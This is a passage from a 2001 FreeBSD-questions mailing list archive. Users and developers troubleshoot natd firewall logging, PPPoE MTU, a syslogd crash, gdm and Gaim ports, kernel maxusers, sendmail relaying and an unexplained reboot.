Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jimmyjump77@hotmail.com on Sun, Nov 18, 2001 at 12:48:21PM -0500 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 12:48:21PM -0500, Mike Semcheski wrote: > Hi all, > >From a bit of googling, I can tell that I am not the first one to ask this > question, Well, I don't actually see a question anywhere below. > but I have not found the answer either. > Basically, the log on chimera, my freebsd box, has this: > chimera natd[226]: failed to write packet back (Permission denied) > followed by > last message repeated x times > for x = 100 to 200. Whenever I am on the console, the "last message > repeated" message is very prevalent. I can not see any rhyme or reason to > it. The BSD box (chimera) is between a DSL modem and a win2k server and a > win2k / freebsd laptop. Chimera has two nic's, one public, one private, > private one goes directly to a switch, from the switch to the windows boxes. > The setups pretty standard, samba and apache run on chimera. > **everything is working a-ok, except for the natd message** > If its not broke, break it, then fix it is my motto I guess. OK, if you are not going to fix it, what exactly is your question? -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 15: 8:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtppop2pub.verizon.net (smtppop2pub.gte.net [206.46.170.21]) by hub.freebsd.org (Postfix) with ESMTP id 8A38A37B405 for ; Sun, 18 Nov 2001 15:08:12 -0800 (PST) Received: from [141.150.208.208] ([141.150.208.208]) by smtppop2pub.verizon.net with ESMTP for ; id RAA30389937 Sun, 18 Nov 2001 17:10:07 -0600 (CST) Message-Id: <200111182310.RAA30389937@smtppop2pub.verizon.net> Date: Sun, 18 Nov 2001 18:14:27 -0500 From: Skip Ford To: freebsd-questions@freebsd.org Subject: Re: More PPPoE DSL Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jacks@sage-american.com on Sat, Nov 17, 2001 at 10:00:14PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 jacks@sage-american.com wrote: > > Has anyone else had this same problem on FTP UPloads on the LAN...??? > ...again no problem DOWNloading... > > If it is the 1500 mtu, what would the ifconfig (-mtu) line command be to > change the 1500 to 1492..? Inability to send mail is a sign of mtu problems, though it could be a lot of things. Just add 'mtu 1492' to the end of your normal ifconfig command. - -- Skip ID: 0x7EDDDB0A -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAjv4QMwACgkQBMKxVH7d2woKmgCfZfxK82StfNPH1niuWiNOU83k wQUAn0TQDR7W7G8qoUma4ViX4eBsBNrY =Sswh -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 15:13:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from harrier.prod.itd.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by hub.freebsd.org (Postfix) with ESMTP id 01F6737B416 for ; Sun, 18 Nov 2001 15:13:46 -0800 (PST) Received: from dialup-209.244.107.180.dial1.sanjose1.level3.net ([209.244.107.180] helo=blossom.cjclark.org) by harrier.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165b8C-0003MS-00; Sun, 18 Nov 2001 15:13:45 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAIND5670607; Sun, 18 Nov 2001 15:13:05 -0800 (PST) (envelope-from cjc) Date: Sun, 18 Nov 2001 15:13:05 -0800 From: "Crist J. Clark" To: Alex Cc: buga@lemis.com, questions@FreeBSD.ORG Subject: Re: syslogd Message-ID: <20011118151305.F69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <001d01c1700a$4d26d920$31906596@slick> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001d01c1700a$4d26d920$31906596@slick>; from lex@internode.on.net on Sun, Nov 18, 2001 at 06:53:28PM +1030 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 06:53:28PM +1030, Alex wrote: > Howdy, > > I have an issue with syslogd that I'm not sure how to resolve. > > > I'm running 5.0-CURRENT: > > I get this dmsg error: > > pid 207 (syslogd), uid 0; exited on signal 6 (core dumped). > > I have checked the Bug Tracking archives at www.au.freebsd.org and found nothing > that talks about a broken syslogd. > > This is happening on 2 machines with the same 5.0-CURRENT snapshot, suggesting that syslogd is broken. Which snapshot might this be? > Does anyone know about this ? (And yes I have scaled the mail archives of -CURRENT) I don't. > If I start the syslogd from the shell I get this error: > > syslogd: cannot create /var/run/log: Invalid argument > syslogd: child pid 516 exited with return code 1 There are a number of different calls that could be failing to produce that error. Could you, # ls -l /var/run -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 15:14: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46]) by hub.freebsd.org (Postfix) with ESMTP id 4D3A637B405 for ; Sun, 18 Nov 2001 15:13:59 -0800 (PST) Received: from localhost (marcus@localhost) by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAINDLI43097; Sun, 18 Nov 2001 18:13:21 -0500 (EST) (envelope-from marcus@marcuscom.com) X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs Date: Sun, 18 Nov 2001 18:13:21 -0500 (EST) From: Joe Clarke To: Andrew Reid Cc: "Anthony M. Magsino" , Subject: Re: gdm In-Reply-To: <20011118203633.A2396@aviion.alfred.cx> Message-ID: <20011118181154.T41221-100000@shumai.marcuscom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, Andrew Reid wrote: > On Sat, Nov 17, 2001 at 01:12:24PM +0800, Anthony M. Magsino wrote: > > > Hi. Can anybody tell me how to make gdm work in FreeBSD-4.3? I've read > > all documentations in the CD and yes, they warned that gdm might or might > > not work. Xdm worked fine. but I want gdm. Thanks. > > I installed GDM 2.2.3.2 from ports recently, and I've not been able to > get much happening either. > > However, there seems to be two problems manifesting themselves > here. Firstly, in my /usr/X11R6/etc/gdm/Init/Default file (the script > that gdm will execute once the X server has started), gdmlogin seemed > to be commented out or nonexistant.[1] In order to get gdm working, you need to cvsup the latest ports collection, have all the latest gnome bits installed, and be using gdm 2.2.4.2_1 or higher. While simply installing gdm 2.2.4.2_1 should get you going, a lot of stability improvements have gone into ORBit, oaf, libpng, and gdk-pixbuf that make it work upgrading. Joe > > I added gdmlogin to Init/Default, and that managed to pop up something > vaugely intelligent. gdmlogin was complaining that I was running > different versions of the daemon (gdm) and the gdmlogin program. Odd, > seeing as I installed straight from ports. > > That seems to be a step in the right direction. I'll follow this up on > Monday[2] when I've got Ethernet-speed Internet connection to work > with. I'll post any results along with the instructions to get the > beast working (if it'll work at all). > > - andrew > > [1] I can't remember exactly -- I was playing with it at 3:00AM last > night. > > [2] I'm sending this on Sunday, Nov 18 at 20:34:36 +1030, but it'll > probably sit in the local mail queue on my notebook until > Monday. The whole concept of dialup is something I try to avoid > :-) > > -- > Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem > andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane > +61 401 946 813 mittam" > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 16: 8:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 5122A37B416 for ; Sun, 18 Nov 2001 16:08:09 -0800 (PST) Received: from hades.hell.gr (patr530-a105.otenet.gr [212.205.215.105]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAJ084v09367; Mon, 19 Nov 2001 02:08:04 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAJ06bd07031; Mon, 19 Nov 2001 02:06:37 +0200 (EET) (envelope-from charon@labs.gr) Date: Mon, 19 Nov 2001 02:06:37 +0200 From: Giorgos Keramidas To: Bara Zani Cc: budsz , freebsd-questions@FreeBSD.ORG Subject: Re: How about this? Message-ID: <20011119000637.GE6389@hades.hell.gr> References: <20011118185630.A2007@bdg.centrin.net.id> <020e01c17041$efabbf80$7000a8c0@kushkush> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <020e01c17041$efabbf80$7000a8c0@kushkush> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-18 10:01:32, Bara Zani wrote: > my freebsd comes with 32 maxusers in GENERIC .... > i think ... > "budsz" wrote: > > Hi, How your opinion bout this test..? > > > > http://www.byte.com/documents/s=1794/byt20011107s0001/1112_moshe.html GENERIC had maxusers set to 10 ever since revision 1.1, and it was increased to 32 quite some time ago, as shown in the following commit: revision 1.115 date: 1998/09/04 19:55:51; author: msmith; state: Exp; lines: +2 -2 Increase 'maxusers' to 32; with the number of people using GENERIC as their one-size-fits-all kernel, this should help reduce the "out of foo" reports. Reviewed by: jkh Ever since 1998, GENERIC comes with maxusers set to 32. That article describes a test that is not very, hmmm, professional, IMHO. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 16: 8:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 6CA2737B418 for ; Sun, 18 Nov 2001 16:08:16 -0800 (PST) Received: from hades.hell.gr (patr530-a105.otenet.gr [212.205.215.105]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAJ084v09360; Mon, 19 Nov 2001 02:08:04 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAJ01Sp06976; Mon, 19 Nov 2001 02:01:28 +0200 (EET) (envelope-from charon@labs.gr) Date: Mon, 19 Nov 2001 02:01:27 +0200 From: Giorgos Keramidas To: Alex Cc: buga@lemis.com, questions@FreeBSD.ORG Subject: Re: syslogd Message-ID: <20011119000127.GD6389@hades.hell.gr> References: <001d01c1700a$4d26d920$31906596@slick> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001d01c1700a$4d26d920$31906596@slick> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-18 18:53:28, Alex wrote: > Howdy, > > I have an issue with syslogd that I'm not sure how to resolve. > > I'm running 5.0-CURRENT: > > I get this dmsg error: > > pid 207 (syslogd), uid 0; exited on signal 6 (core dumped). Your syslogd dumped core because of a bug. If your world and kernel are in sync, you should probably compile a syslogd with debugging information, and let it dump core. Then run gdb(1) and see a backtrace for hints about the bug that bit you. If all this sounds like Greek to you, and you don't know what I'm talking about, you should probably run -STABLE instead of -CURRENT, since -CURRENT is by definition unstable and bugs like this might appear from time to time :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 16:24:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (oe28.pav2.hotmail.com [64.4.36.85]) by hub.freebsd.org (Postfix) with ESMTP id 14A9E37B405 for ; Sun, 18 Nov 2001 16:24:18 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 18 Nov 2001 16:24:17 -0800 X-Originating-IP: [216.254.113.126] From: "Mike Semcheski" To: Cc: References: <20011118150047.E69555@blossom.cjclark.org> Subject: Re: natd failed to write packet back Date: Sun, 18 Nov 2001 19:22:34 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 19 Nov 2001 00:24:17.0996 (UTC) FILETIME=[86A9C8C0:01C17090] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My question is this: What is causing this message to occur so often? What is NATD trying to do that IPFW is preventing? How can I stop it from cutting in and annoying me when I am in the console? Everything works as far as I can tell, but the frequency and repetitive nature of the message is a warning sign, in my estimation. From what I can gather from my logs, natd has failed to write packet back hundreds of thousands of times since I installed Free-4.3 about three weeks ago. Like I said, everything works, but it is strange. Mike ----- Original Message ----- From: "Crist J. Clark" To: "Mike Semcheski" Cc: Sent: Sunday, November 18, 2001 6:00 PM Subject: Re: natd failed to write packet back > On Sun, Nov 18, 2001 at 12:48:21PM -0500, Mike Semcheski wrote: > > Hi all, > > >From a bit of googling, I can tell that I am not the first one to ask this > > question, > > Well, I don't actually see a question anywhere below. > > > but I have not found the answer either. > > Basically, the log on chimera, my freebsd box, has this: > > chimera natd[226]: failed to write packet back (Permission denied) > > followed by > > last message repeated x times > > for x = 100 to 200. Whenever I am on the console, the "last message > > repeated" message is very prevalent. I can not see any rhyme or reason to > > it. The BSD box (chimera) is between a DSL modem and a win2k server and a > > win2k / freebsd laptop. Chimera has two nic's, one public, one private, > > private one goes directly to a switch, from the switch to the windows boxes. > > The setups pretty standard, samba and apache run on chimera. > > **everything is working a-ok, except for the natd message** > > If its not broke, break it, then fix it is my motto I guess. > > OK, if you are not going to fix it, what exactly is your question? > -- > Crist J. Clark | cjclark@alum.mit.edu > | cjclark@jhu.edu > http://people.freebsd.org/~cjc/ | cjc@freebsd.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 16:32:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 19F9637B417 for ; Sun, 18 Nov 2001 16:32:13 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id SAA32384 for ; Sun, 18 Nov 2001 18:17:12 -0600 Message-ID: <022701c17091$64ae5500$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "free bsd" Subject: mail relaying Date: Sun, 18 Nov 2001 19:30:30 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What file do I have to edit to add a domain to my relay list? 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Technical Support Ô¿Ô¬ ---------------------------------------------------------------------------- - Visit our support manual at http://supportmanual.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 16:43:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 5F55F37B418 for ; Sun, 18 Nov 2001 16:43:14 -0800 (PST) Received: from dialup-209.244.107.180.dial1.sanjose1.level3.net ([209.244.107.180] helo=blossom.cjclark.org) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165cWi-00017y-00; Sun, 18 Nov 2001 16:43:08 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAJ0gg470865; Sun, 18 Nov 2001 16:42:42 -0800 (PST) (envelope-from cjc) Date: Sun, 18 Nov 2001 16:42:42 -0800 From: "Crist J. Clark" To: Mike Semcheski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: natd failed to write packet back Message-ID: <20011118164242.G69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <20011118150047.E69555@blossom.cjclark.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jimmyjump77@hotmail.com on Sun, Nov 18, 2001 at 07:22:34PM -0500 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 07:22:34PM -0500, Mike Semcheski wrote: > My question is this: > What is causing this message to occur so often? A packet diverted to natd(8) is dropped by a later rule in the firewall. > What is NATD trying to do > that IPFW is preventing? Write packets that get dropped later in the firewall. > How can I stop it from cutting in and annoying me > when I am in the console? Change syslog.conf(5) accordingly or rearrange your firewall rules so that the offending packets are dropped _before_ they go through natd(8). Use the -v option of natd(8) and the 'log' ipfw(8) rule entry to figure out what kind of traffic is making the problems. There have also been some flame wa^H^H^H^H^H^H^Hdebates about making changes to natd(8) to change this logging behavior. -- Crist J. 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 17:57:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from acmey.gatech.edu (acmey.gatech.edu [130.207.165.23]) by hub.freebsd.org (Postfix) with ESMTP id 0AE9C37B405 for ; Sun, 18 Nov 2001 17:57:34 -0800 (PST) Received: by acmey.gatech.edu (Postfix, from userid 19753) id 4227A31F06; Sun, 18 Nov 2001 20:57:33 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by acmey.gatech.edu (Postfix) with ESMTP id 09C9B330ED; Sun, 18 Nov 2001 20:57:33 -0500 (EST) Date: Sun, 18 Nov 2001 20:57:32 -0500 (EST) From: Michael Imamura X-Sender: gte255n@acmey.gatech.edu To: Bjarne Wichmann Petersen Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Running GAIM without Gnome? In-Reply-To: <20011118095327.PGMZ395.fepZ.post.tele.dk@there> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 18 Nov 2001, Bjarne Wichmann Petersen wrote: > Is it possible to run GAIM (from ports) without getting Gnome, panel and > everything that is gnome started? I'm using KDE as my desktop, so having all > these panels are a bit annoying... Hi Bjarne, To build the Gaim port without Gnome, use the "WITHOUT_GNOME" flag: # cd /usr/ports/net/gaim # make WITHOUT_GNOME=1 install This will prevent Gnome support from being enabled at compile-time. You can also use "WITHOUT_ESOUND" if you don't want it to try to use esound. - Michael Imamura mimamura@resnet.gatech.edu LUG@GT Web Guy http://www.lugatgt.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18: 7:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 98FEC37B405; Sun, 18 Nov 2001 18:07:16 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAJ27DF98914; Mon, 19 Nov 2001 03:07:13 +0100 (CET) Message-ID: <003a01c1709e$e8318e30$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Andrew C. Hornback" , "Greg Lehey" , "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain> Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 03:07:07 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Andrew writes: > It's not logical to create a baseline of your > system by testing it's components? It's not logical to test components that are extremely unlikely to be malfunctioning. At one time, when PCs were a laboratory curiosity and only worked correctly on occasion, testing the hardware might have made more sense (although, overall, PC hardware has always been remarkably reliable). Today, however, there is no reason at all to test hardware unless clear evidence of hardware failure becomes apparent. Software, on the other hand, has never been reliable, and has not become any more reliable over time. It therefore makes sense to be extremely wary of software, and to test software configurations frequently. > Hmm... guess I've not been following "logical" > practices for years now, and don't think I'm going > to stop. It's up to you, but time spent running lots of hardware tests could probably be better spent in other ways these days. > You don't need to update the entire operating > system if you can procure and install the patch. Good. So how do I know that this patch is related to the mysterious boot I observed? > You may have to ask... but, from what Greg has > said, the patch was written specifically to make > your chipset compatable with FreeBSD. Fine, but how do I know that a chipset incompatibility had anything to do with my problem? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18: 9:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 3ACC337B419 for ; Sun, 18 Nov 2001 18:09:40 -0800 (PST) Received: from twincat.vladsempire.net (hutch-706.hutchtel.net [206.10.71.6]) by services.webwarrior.net (Postfix) with ESMTP id 277371EE for ; Sun, 18 Nov 2001 20:10:10 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id D7BCA3A49; Sun, 18 Nov 2001 20:05:09 +0000 (GMT) Date: Sun, 18 Nov 2001 20:05:09 +0000 From: Josh Paetzel To: Andre` Niel Cameron Cc: free bsd Subject: Re: mail relaying Message-ID: <20011118200509.F450@twincat.vladsempire.net> Mail-Followup-To: Andre` Niel Cameron , free bsd References: <022701c17091$64ae5500$a50410ac@olmct.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: <022701c17091$64ae5500$a50410ac@olmct.net>; from AndreC@Axxs.net on Sun, Nov 18, 2001 at 07:30:30PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 07:30:30PM -0500, Andre` Niel Cameron wrote: > What file do I have to edit to add a domain to my relay list? > Regards, > Andre` C. > Technical Support > Ô¿Ô¬ > ---------------------------------------------------------------------------- > - > Visit our support manual at http://supportmanual.com/ Assuming you are using sendmail, it's /etc/mail/access There's a nice example in /etc/mail/access.sample, but basically you would add: domainname relay Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18:11:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 1479337B405 for ; Sun, 18 Nov 2001 18:11:55 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 117F5786E1; Mon, 19 Nov 2001 12:41:51 +1030 (CST) Date: Mon, 19 Nov 2001 12:41:51 +1030 From: Greg Lehey To: Anthony Atkielski Cc: "Andrew C. Hornback" , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011119124150.R16195@monorchid.lemis.com> References: <005201c1706f$572afb80$6600000a@ach.domain> <003a01c1709e$e8318e30$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <003a01c1709e$e8318e30$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday, 19 November 2001 at 3:07:07 +0100, Anthony Atkielski wrote: > Andrew writes: >> You don't need to update the entire operating system if you can >> procure and install the patch. Note, first, that this claim is wrong. > Good. So how do I know that this patch is related to the mysterious > boot I observed? You don't. It just fits the symptoms. >> You may have to ask... but, from what Greg has said, the patch was >> written specifically to make your chipset compatable with FreeBSD. > > Fine, but how do I know that a chipset incompatibility had anything > to do with my problem? You don't. It just fits the symptoms. Note, however, that there's nothing else in this box which is likely to cause the problems. I'm writing this on a very similar machine, running -CURRENT (with the fix), and I haven't had any trouble. The machine has been up for nearly 2 weeks. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18:25:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id BAE8C37B416; Sun, 18 Nov 2001 18:25:10 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAJ2P9B05984; Mon, 19 Nov 2001 03:25:09 +0100 (CET) Message-ID: <005001c170a1$69374540$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" , "FreeBSD Questions" References: <03af01c1702e$d38c0520$0a00000a@atkielski.com> <005201c1706f$572afb80$6600000a@ach.domain> <20011119081323.N72712@monorchid.lemis.com> Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 03:25:03 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > The first thing you need to do is fix that problem. > You *must* know what sources you have. How do I find out? > The FreeBSD approach is always to update the > system in sync; any other approach often causes > more problems than it solves. Okay, but how do I know that updating the system will have any effect at all on the unidentified cause of the mysterious reboot that I observed? > You shouldn't install updates which haven't > been tested with your system. How do you know > they will even compile? I don't. Have I installed any updates? I changed an option in the kernal once and rebuilt it; did that change everything else?? > If you want to use this fix, you must install > -CURRENT. In this case, that's probably not > appropriate, which is why I suggested contacting sos. At present, I have no reason to believe that the mysterious reboot is in any way related to the problem covered by this fix, so installing it would not make sense. > Well, as the commit log stated, the update works > around a design bug in the IDE controller. I currently have no reason to believe or disbelieve that the IDE controller or any bug associated with it caused the mysterious reboot. Unfortunately, the mysterious reboot left virtually no evidence of its passing, beyond the top screen shot that I was fortuitously able to salvage (because I had top running during the night on one login at the time of the boot). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Nov 18 18:30:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 11A0C37B405; Sun, 18 Nov 2001 18:30:12 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAJ2UA509519; Mon, 19 Nov 2001 03:30:10 +0100 (CET) Message-ID: 